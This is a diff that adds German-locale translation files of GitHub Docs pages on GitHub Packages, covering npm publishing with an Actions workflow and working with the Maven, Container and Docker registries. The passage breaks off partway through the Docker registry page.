+4. Initialisiere ein npm-Paket mit `npm init`. Gib dein Paket im Paketinitialisierungs-Assistenten mit dem Namen _`@YOUR-USERNAME/YOUR-REPOSITORY`_ ein, und lege das Testskript auf `exit 0` fest. Dadurch wird eine `package.json`-Datei mit Informationen zu deinem Paket generiert.
+    {% raw %}
+    ```shell
+    $ npm init
+      ...
+      package name: <em>@YOUR-USERNAME/YOUR-REPOSITORY</em>
+      ...
+      test command: <em>exit 0</em>
+      ...    
+    ```
+    {% endraw %}
+5. Führe `npm install` aus, um die `package-lock.json`-Datei zu generieren. Committe deine Änderungen und pushe sie dann in {% data variables.product.prodname_dotcom %}.
+    ```shell
+    $ npm install
+    $ git add index.js package.json package-lock.json
+    $ git commit -m "initialize npm package"
+    $ git push
+    ```
+6. Erstelle das Verzeichnis `.github/workflows`. Erstelle in diesem Verzeichnis eine Datei namens `release-package.yml`.
+7. Kopiere den folgenden YAML-Inhalt in die `release-package.yml`-Datei{% ifversion ghes or ghae %}, wobei du `YOUR-HOSTNAME` durch den Namen deines Unternehmens{% endif %} ersetzt.
+    ```yaml{:copy}
+    name: Node.js Package
+
+    on:
+      release:
+        types: [created]
+
+    jobs:
+      build:
+        runs-on: ubuntu-latest
+        steps:
+          - uses: {% data reusables.actions.action-checkout %}
+          - uses: {% data reusables.actions.action-setup-node %}
+            with:
+              node-version: 12
+          - run: npm ci
+          - run: npm test
+
+      publish-gpr:
+        needs: build
+        runs-on: ubuntu-latest
+        permissions:
+          packages: write
+          contents: read
+        steps:
+          - uses: {% data reusables.actions.action-checkout %}
+          - uses: {% data reusables.actions.action-setup-node %}
+            with:
+              node-version: 12
+              registry-url: {% ifversion ghes or ghae %}https://npm.YOUR-HOSTNAME.com/{% else %}https://npm.pkg.github.com/{% endif %}
+          - run: npm ci
+          - run: npm publish
+            env:
+              NODE_AUTH_TOKEN: ${% raw %}{{secrets.GITHUB_TOKEN}}{% endraw %}
+    ```
+8. Teile NPM mit, in welchem Bereich und welcher Registrierung Pakete mit einer der folgenden Methoden veröffentlicht werden sollen:
+   - Füge eine NPM-Konfigurationsdatei für das Repository hinzu, indem du eine `.npmrc`-Datei im Stammverzeichnis mit folgendem Inhalt erstellst: {% raw %}
+      ```shell
+      <em>@YOUR-USERNAME</em>:registry=https://npm.pkg.github.com
+      ```
+      {% endraw %}
+   - Bearbeite die `package.json`-Datei, und gib den `publishConfig`-Schlüssel an: {% raw %}
+      ```shell
+      "publishConfig": {
+        "@<em>YOUR-USERNAME</em>:registry": "https://npm.pkg.github.com"
+      }
+      ```
+      {% endraw %}
+9. Committe deine Änderungen und pushe sie in {% data variables.product.prodname_dotcom %}.
+    ```shell
+    $ git add .github/workflows/release-package.yml
+    # Also add the file you created or edited in the previous step.
+    $ git add <em>.npmrc or package.json</em>
+    $ git commit -m "workflow to publish package"
+    $ git push
+    ```
+10.  Der von dir erstellte Workflow wird ausgeführt, wenn ein neues Release im Repository erstellt wird. Wenn die Tests bestanden werden, wird das Paket in {% data variables.product.prodname_registry %}veröffentlicht.
+    
+    Um dies zu testen, navigiere zur Registerkarte **Code** in deinem Repository, und erstelle ein neues Release. Weitere Informationen findest du unter „[Verwalten von Releases in einem Repository](/github/administering-a-repository/managing-releases-in-a-repository#creating-a-release)“.
+
+## Anzeigen eines veröffentlichten Pakets
+
+Du kannst alle Pakete anzeigen, die du veröffentlicht hast.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.package_registry.packages-from-code-tab %} {% data reusables.package_registry.navigate-to-packages %}
+
+## Installieren eines veröffentlichten Pakets
+
+Nachdem du das Paket veröffentlicht hast, solltest du es als projektübergreifende Abhängigkeit verwenden. Weitere Informationen findest du unter „[Arbeiten mit der npm-Registrierung](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry#installing-a-package)“.
+
+## Nächste Schritte
+
+Der Basisworkflow, den du gerade hinzugefügt hast, wird jedes Mal ausgeführt, wenn ein neues Release in deinem Repository erstellt wird. Dies ist jedoch längst nicht alles, was du mit {% data variables.product.prodname_registry %} tun kannst. Du kannst dein Paket mit einem einzelnen Workflow in mehreren Registrierungen veröffentlichen, den Workflow auslösen, um ihn bei verschiedenen Ereignissen wie einer zusammengeführten Pullanforderung auszuführen, Container verwalten usw.
+
+Durch Kombination von {% data variables.product.prodname_registry %} und {% data variables.product.prodname_actions %} kannst du nahezu jeden Aspekt deiner Anwendungsentwicklungsprozesse automatisieren. Wollen Sie loslegen? Hier sind einige hilfreiche Ressourcen zum Ausführen der nächsten Schritte mit {% data variables.product.prodname_registry %} und {% data variables.product.prodname_actions %}:
+
+- „[Informationen zu {% data variables.product.prodname_registry %}](/packages/learn-github-packages)“ – ausführliches Tutorial zu GitHub Packages
+- „[Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)“ – ausführliches Tutorial zu GitHub Actions
+- „[Arbeiten mit einer {% data variables.product.prodname_registry %}](/packages/working-with-a-github-packages-registry)“ – spezifische Anwendungsfälle und Beispiele
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/index.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/index.md
new file mode 100644
index 0000000000..7a46c87599
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/index.md
@@ -0,0 +1,32 @@
+---
+title: Arbeiten mit einer GitHub Packages-Registrierung
+shortTitle: Working with a GitHub Packages registry
+intro: 'Erfahre, wie du eine unterstützte {% data variables.product.prodname_registry %}-Registrierung verwendest.'
+redirect_from:
+  - /github/managing-packages-with-github-packages/using-github-packages-with-your-projects-ecosystem
+  - /packages/using-github-packages-with-your-projects-ecosystem
+  - /packages/guides
+  - /packages/guides/package-client-guides-for-github-packages
+  - /packages/guides/container-guides-for-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /working-with-the-container-registry
+  - /working-with-the-docker-registry
+  - /working-with-the-rubygems-registry
+  - /working-with-the-npm-registry
+  - /working-with-the-apache-maven-registry
+  - /working-with-the-gradle-registry
+  - /working-with-the-nuget-registry
+  - /migrating-to-the-container-registry-from-the-docker-registry
+ms.openlocfilehash: 69cfbe84b6c443a29066a4234ae29f557c305d38
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145134329'
+---
+{% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} {% ifversion fpt or ghec %} ![Diagramm mit Paketunterstützung für Docker, Containerregistrierung, RubyGems, npm, Apache Maven, NuGet und Gradle](/assets/images/help/package-registry/packages-diagram-with-container-registry.png) {% else %} ![Diagramm mit Paketunterstützung für Docker, RubyGems, npm, Apache Maven, Gradle, NuGet und Docker](/assets/images/help/package-registry/packages-diagram-without-container-registry.png) {% endif %}
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md
new file mode 100644
index 0000000000..0fe78be916
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md
@@ -0,0 +1,69 @@
+---
+title: Migrating to the Container registry from the Docker registry
+intro: '{% ifversion docker-ghcr-enterprise-migration %}An enterprise owner can{% else %}{% data variables.product.company_short %} will{% endif %} migrate Docker images previously stored in the Docker registry on {% data variables.location.product_location %} to the {% data variables.product.prodname_container_registry %}.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /packages/getting-started-with-github-container-registry/migrating-to-github-container-registry-for-docker-images
+  - /packages/guides/container-guides-for-github-packages/migrating-to-github-container-registry-for-docker-images
+  - /packages/guides/migrating-to-github-container-registry-for-docker-images
+versions:
+  fpt: '*'
+  ghec: '*'
+  feature: docker-ghcr-enterprise-migration
+shortTitle: Migration to Container registry
+topics:
+  - Containers
+  - Docker
+  - Migration
+---
+
+{% data reusables.package_registry.container-registry-ghes-beta %}
+
+## About the {% data variables.product.prodname_container_registry %}
+
+{% data reusables.package_registry.container-registry-benefits %} For more information, see "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+
+## About migration from the Docker registry
+
+{% data reusables.package_registry.container-registry-replaces-docker-registry %} If you've stored Docker images in the Docker registry, {% ifversion docker-ghcr-enterprise-migration %}an enterprise owner{% else %}{% data variables.product.company_short %}{% endif %} will gradually migrate the images to the {% data variables.product.prodname_container_registry %}. No action is required on your part.
+
+{% ifversion docker-ghcr-enterprise-migration %}
+
+{% note %}
+
+**Note**: {% data reusables.package_registry.container-registry-ghes-migration-availability %} For more information about finding the version of {% data variables.product.product_name %} that you use, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)."
+
+{% endnote %}
+
+{% endif %}
+
+After a Docker image has been migrated to the {% data variables.product.prodname_container_registry %}, you'll see the following changes to the details for the package.
+
+- The icon will be the {% data variables.product.prodname_container_registry %} logo instead of the Docker logo.
+- The domain in the pull URL will be {% data variables.product.prodname_container_registry_namespace %} instead of {% data variables.product.prodname_docker_registry_namespace %}.
+
+{% ifversion fpt or ghec %}
+
+![Screenshot of a Docker image migrated to the {% data variables.product.prodname_container_registry %}](/assets/images/help/package-registry/container-registry-details-page.png)
+
+{% endif %}
+
+{% data reusables.package_registry.container-registry-migration-namespaces %}
+
+{% ifversion fpt or ghec %}
+
+After migration, you'll no longer be able to use the GraphQL API to query for packages with a `PackageType` of "DOCKER". Instead, you can use the REST API to query for packages with a `package_type` of "container". For more information, see "[Packages](/rest/reference/packages)" in the REST API documentation.
+
+## About billing for {% data variables.product.prodname_container_registry %}
+
+For more information about billing for the {% data variables.product.prodname_container_registry %}, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
+
+{% endif %}
+
+{% ifversion docker-ghcr-enterprise-migration %}
+
+## Further reading
+
+- "[Migrating your enterprise to the {% data variables.product.prodname_container_registry %} from the Docker registry](/admin/packages/migrating-your-enterprise-to-the-container-registry-from-the-docker-registry)"
+
+{% endif %}
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
new file mode 100644
index 0000000000..733136372b
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md
@@ -0,0 +1,194 @@
+---
+title: Working with the Apache Maven registry
+intro: 'You can configure Apache Maven to publish packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Java project.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-apache-maven-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-apache-maven-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-apache-maven-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-apache-maven-for-use-with-github-packages
+  - /packages/guides/configuring-apache-maven-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Apache Maven registry
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% data reusables.package_registry.authenticate-packages-github-token %}
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+You can authenticate to {% data variables.product.prodname_registry %} with Apache Maven by editing your *~/.m2/settings.xml* file to include your {% data variables.product.pat_v1 %}. Create a new *~/.m2/settings.xml* file if one doesn't exist.
+
+In the `servers` tag, add a child `server` tag with an `id`, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, and *TOKEN* with your {% data variables.product.pat_generic %}.
+
+In the `repositories` tag, configure a repository by mapping the `id` of the repository to the `id` you added in the `server` tag containing your credentials. Replace {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, and{% endif %} *OWNER* with the name of the user or organization account that owns the repository. Because uppercase letters aren't supported, you must use lowercase letters for the repository owner even if the {% data variables.product.prodname_dotcom %} user or organization name contains uppercase letters.
+
+If you want to interact with multiple repositories, you can add each repository to separate `repository` children in the `repositories` tag, mapping the `id` of each to the credentials in the `servers` tag.
+
+{% data reusables.package_registry.apache-maven-snapshot-versions-supported %}
+
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+
+```xml
+<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
+                      http://maven.apache.org/xsd/settings-1.0.0.xsd">
+
+  <activeProfiles>
+    <activeProfile>github</activeProfile>
+  </activeProfiles>
+
+  <profiles>
+    <profile>
+      <id>github</id>
+      <repositories>
+        <repository>
+          <id>central</id>
+          <url>https://repo1.maven.org/maven2</url>
+        </repository>
+        <repository>
+          <id>github</id>
+          <url>https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY</url>
+          <snapshots>
+            <enabled>true</enabled>
+          </snapshots>
+        </repository>
+      </repositories>
+    </profile>
+  </profiles>
+
+  <servers>
+    <server>
+      <id>github</id>
+      <username>USERNAME</username>
+      <password>TOKEN</password>
+    </server>
+  </servers>
+</settings>
+```
+
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+```xml
+<settings xmlns="http://maven.apache.org/SETTINGS/1.0.0"
+  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+  xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.0.0
+                      http://maven.apache.org/xsd/settings-1.0.0.xsd">
+
+  <activeProfiles>
+    <activeProfile>github</activeProfile>
+  </activeProfiles>
+
+  <profiles>
+    <profile>
+      <id>github</id>
+      <repositories>
+        <repository>
+          <id>central</id>
+          <url>https://repo1.maven.org/maven2</url>
+        </repository>
+        <repository>
+          <id>github</id>
+          <url>HOSTNAME/_registry/maven/OWNER/REPOSITORY</url>
+          <snapshots>
+            <enabled>true</enabled>
+          </snapshots>
+        </repository>
+      </repositories>
+    </profile>
+  </profiles>
+
+  <servers>
+    <server>
+      <id>github</id>
+      <username>USERNAME</username>
+      <password>TOKEN</password>
+    </server>
+  </servers>
+</settings>
+```
+{% endif %}
+
+## Publishing a package
+
+{% data reusables.package_registry.default-name %} For example, {% data variables.product.prodname_dotcom %} will publish a package named `com.example:test` in a repository called `OWNER/test`.
+
+If you would like to publish multiple packages to the same repository, you can include the URL of the repository in the `<distributionManagement>` element of the *pom.xml* file. {% data variables.product.prodname_dotcom %} will match the repository based on that field. Since the repository name is also part of the `distributionManagement` element, there are no additional steps to publish multiple packages to the same repository.
+
+For more information on creating a package, see the [maven.apache.org documentation](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html).
+
+1. Edit the `distributionManagement` element of the *pom.xml* file located in your package directory, replacing {% ifversion ghes or ghae %}*HOSTNAME* with the host name of {% data variables.location.product_location %}, {% endif %}`OWNER` with the name of the user or organization account that owns the repository and `REPOSITORY` with the name of the repository containing your project.{% ifversion ghes %}
+
+  If your instance has subdomain isolation enabled:{% endif %}
+  ```xml
+  <distributionManagement>
+     <repository>
+       <id>github</id>
+       <name>GitHub OWNER Apache Maven Packages</name>
+       <url>https://{% ifversion fpt or ghec %}maven.pkg.github.com{% else %}maven.HOSTNAME{% endif %}/OWNER/REPOSITORY</url>
+     </repository>
+  </distributionManagement>
+  ```{% ifversion ghes %}
+  If your instance has subdomain isolation disabled:
+  ```xml
+  <distributionManagement>
+     <repository>
+       <id>github</id>
+       <name>GitHub OWNER Apache Maven Packages</name>
+       <url>https://HOSTNAME/_registry/maven/OWNER/REPOSITORY</url>
+     </repository>
+  </distributionManagement>
+  ```{% endif %}
+{% data reusables.package_registry.checksum-maven-plugin %}
+1. Publish the package.
+   ```shell
+   $ mvn deploy
+  ```
+
+{% data reusables.package_registry.viewing-packages %}
+
+## Installing a package
+
+To install an Apache Maven package from {% data variables.product.prodname_registry %}, edit the *pom.xml* file to include the package as a dependency. If you want to install packages from more than one repository, add a `repository` tag for each. For more information on using a *pom.xml* file in your project, see "[Introduction to the POM](https://maven.apache.org/guides/introduction/introduction-to-the-pom.html)" in the Apache Maven documentation.
+
+{% data reusables.package_registry.authenticate-step %}
+2. Add the package dependencies to the `dependencies` element of your project *pom.xml* file, replacing `com.example:test` with your package.
+
+  ```xml
+  <dependencies>
+    <dependency>
+      <groupId>com.example</groupId>
+      <artifactId>test</artifactId>
+      <version>1.0.0-SNAPSHOT</version>
+    </dependency>
+  </dependencies>
+  ```
+{% data reusables.package_registry.checksum-maven-plugin %}
+3. Install the package.
+
+  ```shell
+  $ mvn install
+  ```
+
+## Further reading
+
+- "[Working with the Gradle registry](/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry)"
+- "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)"
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md
new file mode 100644
index 0000000000..6f00ec0d2e
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md
@@ -0,0 +1,166 @@
+---
+title: Working with the Container registry
+intro: 'You can store and manage Docker and OCI images in the {% data variables.product.prodname_container_registry %}, which uses the package namespace `https://{% data reusables.package_registry.container-registry-hostname %}`.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /packages/managing-container-images-with-github-container-registry/pushing-and-pulling-docker-images
+  - /packages/guides/container-guides-for-github-packages/pushing-and-pulling-docker-images
+  - /packages/guides/pushing-and-pulling-docker-images
+  - /packages/getting-started-with-github-container-registry/about-github-container-registry
+  - /packages/managing-container-images-with-github-container-registry
+  - /packages/working-with-a-github-packages-registry/enabling-improved-container-support-with-the-container-registry
+  - /packages/getting-started-with-github-container-registry/enabling-improved-container-support
+  - /packages/guides/container-guides-for-github-packages/enabling-improved-container-support
+  - /packages/guides/enabling-improved-container-support
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>= 3.5'
+shortTitle: Container registry
+---
+
+{% data reusables.package_registry.container-registry-ghes-beta %}
+
+## About the {% data variables.product.prodname_container_registry %}
+
+{% data reusables.package_registry.container-registry-benefits %}
+
+{% ifversion ghes > 3.4 %}
+
+To use the {% data variables.product.prodname_container_registry %} on {% data variables.product.product_name %}, your site administrator must first configure {% data variables.product.prodname_registry %} for your instance **and** enable subdomain isolation. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)" and "[Enabling subdomain isolation](/admin/configuration/configuring-network-settings/enabling-subdomain-isolation)."
+
+{% endif %}
+
+## About {% data variables.product.prodname_container_registry %} support
+
+The {% data variables.product.prodname_container_registry %} currently supports the following container image formats:
+
+* [Docker Image Manifest V2, Schema 2](https://docs.docker.com/registry/spec/manifest-v2-2/)
+* [Open Container Initiative (OCI) Specifications](https://github.com/opencontainers/image-spec)
+
+When installing or publishing a Docker image, the {% data variables.product.prodname_container_registry %} supports foreign layers, such as Windows images.
+
+## Authenticating to the {% data variables.product.prodname_container_registry %}
+
+{% ifversion fpt or ghec or ghes > 3.4 %}
+To authenticate to the {% data variables.product.prodname_container_registry %} (`ghcr.io`) within a {% data variables.product.prodname_actions %} workflow, use the `GITHUB_TOKEN` for the best security and experience. {% data reusables.package_registry.authenticate_with_pat_for_v2_registry %}
+{% endif %}
+
+{% ifversion ghes %}Ensure that you replace `HOSTNAME` with {% data variables.location.product_location_enterprise %} hostname or IP address in the examples below.{% endif %}
+
+{% data reusables.package_registry.authenticate-to-container-registry-steps %}
+
+## Pushing container images
+
+This example pushes the latest version of `IMAGE_NAME`.
+  ```shell
+  $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest
+  ```
+
+This example pushes the `2.5` version of the image.
+  ```shell
+  $ docker push {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:2.5
+  ```
+
+When you first publish a package, the default visibility is private. To change the visibility or set access permissions, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility)."
+
+## Pulling container images
+
+### Pull by digest
+
+To ensure you're always using the same image, you can specify the exact container image version you want to pull by the `digest` SHA value.
+
+1. To find the digest SHA value, use `docker inspect` or `docker pull` and copy the SHA value after `Digest:`
+  ```shell
+  $ docker inspect {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME
+  ```
+2. Remove image locally as needed.
+  ```shell
+  $ docker rmi  {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest
+  ```
+
+3. Pull the container image with `@YOUR_SHA_VALUE` after the image name.
+  ```shell
+  $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME@sha256:82jf9a84u29hiasldj289498uhois8498hjs29hkuhs
+  ```
+
+### Pull by name
+
+  ```shell
+  $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME
+  ```
+
+### Pull by name and version
+
+Docker CLI example showing an image pulled by its name and the `1.14.1` version tag:
+  ```shell
+  $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:1.14.1
+  > 5e35bd43cf78: Pull complete
+  > 0c48c2209aab: Pull complete
+  > fd45dd1aad5a: Pull complete
+  > db6eb50c2d36: Pull complete
+  > Digest: sha256:ae3b135f133155b3824d8b1f62959ff8a72e9cf9e884d88db7895d8544010d8e
+  > Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/orgname/image-name/release:1.14.1
+  > {% data reusables.package_registry.container-registry-hostname %}/orgname/image-name/release:1.14.1
+  ```
+
+### Pull by name and latest version
+
+  ```shell
+  $ docker pull {% data reusables.package_registry.container-registry-hostname %}/OWNER/IMAGE_NAME:latest
+  > latest: Pulling from user/image-name
+  > Digest: sha256:b3d3e366b55f9a54599220198b3db5da8f53592acbbb7dc7e4e9878762fc5344
+  > Status: Downloaded newer image for {% data reusables.package_registry.container-registry-hostname %}/user/image-name:latest
+  > {% data reusables.package_registry.container-registry-hostname %}/user/image-name:latest
+  ```
+
+## Building container images
+
+This example builds the `hello_docker` image:
+  ```shell
+  $ docker build -t hello_docker .
+  ```
+
+## Tagging container images
+
+1. Find the ID for the Docker image you want to tag.
+  ```shell
+  $ docker images
+  > REPOSITORY                                            TAG                 IMAGE ID            CREATED             SIZE
+  > {% data reusables.package_registry.container-registry-hostname %}/my-org/hello_docker         latest              38f737a91f39        47 hours ago        91.7MB
+  > {% data reusables.package_registry.container-registry-hostname %}/my-username/hello_docker    latest              38f737a91f39        47 hours ago        91.7MB
+  > hello-world                                           latest              fce289e99eb9        16 months ago       1.84kB
+  ```
+
+2. Tag your Docker image using the image ID and your desired image name and hosting destination.
+  ```shell
+  $ docker tag 38f737a91f39 {% data reusables.package_registry.container-registry-hostname %}/OWNER/NEW_IMAGE_NAME:latest
+  ```
+
+## Labelling container images
+
+{% data reusables.package_registry.about-docker-labels %} For more information on Docker labels, see [LABEL](https://docs.docker.com/engine/reference/builder/#label) in the official Docker documentation and [Pre-Defined Annotation Keys](https://github.com/opencontainers/image-spec/blob/master/annotations.md#pre-defined-annotation-keys) in the `opencontainers/image-spec` repository.
+
+The following labels are supported in the {% data variables.product.prodname_container_registry %}. Supported labels will appear on the package page for the image.
+
+Label | Description
+------|------------
+| `org.opencontainers.image.source` | The URL of the repository associated with the package. For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package#connecting-a-repository-to-a-container-image-using-the-command-line)."
+| `org.opencontainers.image.description` | A text-only description limited to 512 characters. This description will appear on the package page, below the name of the package.
+| `org.opencontainers.image.licenses` | An SPDX license identifier such as "MIT," limited to 256 characters. The license will appear on the package page, in the "Details" sidebar. For more information, see [SPDX License List](https://spdx.org/licenses/).
+
+To add labels to an image, we recommend using the `LABEL` instruction in your `Dockerfile`. For example, if you're the user `monalisa` and you own `my-repo`, and your image is distributed under the terms of the MIT license, you would add the following lines to your `Dockerfile`:
+
+```dockerfile
+LABEL org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo
+LABEL org.opencontainers.image.description="My container image"
+LABEL org.opencontainers.image.licenses=MIT
+```
+
+Alternatively, you can add labels to an image at buildtime with the `docker build` command.
+
+```shell
+$ docker build \
+ --label "org.opencontainers.image.source=https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/monalisa/my-repo" \
+ --label "org.opencontainers.image.description=My container image" \
+ --label "org.opencontainers.image.licenses=MIT"
diff --git a/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
new file mode 100644
index 0000000000..b0fa5478a9
--- /dev/null
+++ b/translations/de-DE/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md
@@ -0,0 +1,268 @@
+---
+title: Working with the Docker registry
+intro: '{% ifversion fpt or ghec %}The Docker registry has now been replaced by the {% data variables.product.prodname_container_registry %}.{% else %}You can push and pull your Docker images using the {% data variables.product.prodname_registry %} Docker registry.{% endif %}'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /articles/configuring-docker-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-package-registry/configuring-docker-for-use-with-github-package-registry
+  - /github/managing-packages-with-github-packages/configuring-docker-for-use-with-github-packages
+  - /packages/using-github-packages-with-your-projects-ecosystem/configuring-docker-for-use-with-github-packages
+  - /packages/guides/container-guides-for-github-packages/configuring-docker-for-use-with-github-packages
+  - /packages/guides/configuring-docker-for-use-with-github-packages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Docker registry
+---
+
+<!-- Main versioning block. Short page for dotcom -->
+{% ifversion fpt or ghec %}
+
+{% data variables.product.prodname_dotcom %}'s Docker registry (which used the namespace `docker.pkg.github.com`) has been replaced by the {% data variables.product.prodname_container_registry %} (which uses the namespace `https://ghcr.io`). The {% data variables.product.prodname_container_registry %} offers benefits such as granular permissions and storage optimization for Docker images.
+
+Docker images previously stored in the Docker registry are being automatically migrated into the {% data variables.product.prodname_container_registry %}. For more information, see "[Migrating to the {% data variables.product.prodname_container_registry %} from the Docker registry](/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry)" and "[Working with the {% data variables.product.prodname_container_registry %}](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+
+{% else %}
+<!-- The remainder of this article is displayed for releases that don't support the Container registry -->
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+{% data reusables.package_registry.packages-ghae-release-stage %}
+
+{% data reusables.package_registry.admins-can-configure-package-types %}
+
+## About Docker support
+
+When installing or publishing a Docker image, the Docker registry does not currently support foreign layers, such as Windows images.
+
+## Authenticating to {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.authenticate-packages %}
+
+{% data reusables.package_registry.authenticate-packages-github-token %}
+
+### Authenticating with a {% data variables.product.pat_generic %}
+
+{% data reusables.package_registry.required-scopes %}
+
+You can authenticate to {% data variables.product.prodname_registry %} with Docker using the `docker` login command.
+
+To keep your credentials secure, we recommend you save your {% data variables.product.pat_generic %} in a local file on your computer and use Docker's `--password-stdin` flag, which reads your token from a local file.
+
+{% ifversion fpt or ghec %}
+{% raw %}
+  ```shell
+  $ cat ~/TOKEN.txt | docker login https://docker.pkg.github.com -u <em>USERNAME</em> --password-stdin
+  ```
+{% endraw %}
+{% endif %}
+
+{% ifversion ghes or ghae %}
+{% ifversion ghes %}
+If your instance has subdomain isolation enabled:
+{% endif %}
+{% raw %}
+ ```shell
+ $ cat ~/TOKEN.txt | docker login docker.HOSTNAME -u USERNAME --password-stdin
+```
+{% endraw %}
+{% ifversion ghes %}
+If your instance has subdomain isolation disabled:
+
+{% raw %}
+ ```shell
+ $ cat ~/TOKEN.txt | docker login HOSTNAME -u USERNAME --password-stdin
+```
+{% endraw %}
+{% endif %}
+
+{% endif %}
+
+To use this example login command, replace `USERNAME` with your {% data variables.product.product_name %} username{% ifversion ghes or ghae %}, `HOSTNAME` with the URL for {% data variables.location.product_location %},{% endif %} and `~/TOKEN.txt` with the file path to your {% data variables.product.pat_generic %} for {% data variables.product.product_name %}.
+
+For more information, see "[Docker login](https://docs.docker.com/engine/reference/commandline/login/#provide-a-password-using-stdin)."
+
+## Publishing an image
+
+{% data reusables.package_registry.docker_registry_deprecation_status %}
+
+{% note %}
+
+**Note:** Image names must only use lowercase letters.
+
+{% endnote %}
+
+{% data variables.product.prodname_registry %} supports multiple top-level Docker images per repository. A repository can have any number of image tags. You may experience degraded service publishing or installing Docker images larger than 10GB, layers are capped at 5GB each. For more information, see "[Docker tag](https://docs.docker.com/engine/reference/commandline/tag/)" in the Docker documentation.
+
+{% data reusables.package_registry.viewing-packages %}
+
+1. Determine the image name and ID for your docker image using `docker images`.
+  ```shell
+  $ docker images
+  > <&nbsp>
